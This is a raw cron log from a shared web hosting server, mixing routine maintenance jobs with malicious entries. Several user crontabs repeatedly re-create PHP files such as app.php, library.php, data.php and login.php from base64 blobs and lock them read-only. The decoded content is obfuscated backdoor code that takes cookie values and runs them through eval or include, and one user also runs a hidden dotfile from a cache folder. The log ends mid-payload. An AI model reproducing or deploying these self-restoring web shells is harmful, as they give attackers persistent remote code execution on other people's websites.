Mar  2 01:24:01 medusa CROND[15359]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:24:01 medusa CROND[15360]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 01:24:01 medusa CROND[15361]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 01:24:01 medusa CROND[15364]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:24:01 medusa CROND[15356]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:25:01 medusa CROND[22008]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 01:25:01 medusa CROND[22081]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 01:25:01 medusa CROND[22191]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 01:25:01 medusa CROND[22197]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 01:25:01 medusa CROND[22199]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 01:25:01 medusa CROND[22198]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:25:01 medusa CROND[22195]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 01:25:01 medusa CROND[22202]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 01:25:01 medusa CROND[22206]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 01:25:01 medusa CROND[22209]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 01:25:01 medusa CROND[22212]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:25:01 medusa CROND[22200]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 01:25:01 medusa CROND[22214]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:25:01 medusa CROND[22192]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 01:25:01 medusa CROND[22216]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:25:01 medusa CROND[22207]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 01:25:01 medusa CROND[22204]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 01:25:01 medusa CROND[22203]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 01:25:01 medusa CROND[22205]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 01:25:01 medusa CROND[22210]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 01:25:01 medusa CROND[22213]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 01:25:01 medusa CROND[22196]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 01:26:01 medusa CROND[30168]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 01:26:02 medusa CROND[30314]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 01:26:02 medusa CROND[30315]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:26:02 medusa CROND[30316]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 01:26:02 medusa CROND[30318]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 01:26:02 medusa CROND[30322]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 01:26:02 medusa CROND[30323]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 01:26:02 medusa CROND[30324]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 01:26:02 medusa CROND[30329]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 01:26:02 medusa CROND[30330]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 01:26:02 medusa CROND[30341]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 01:26:02 medusa CROND[30347]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2I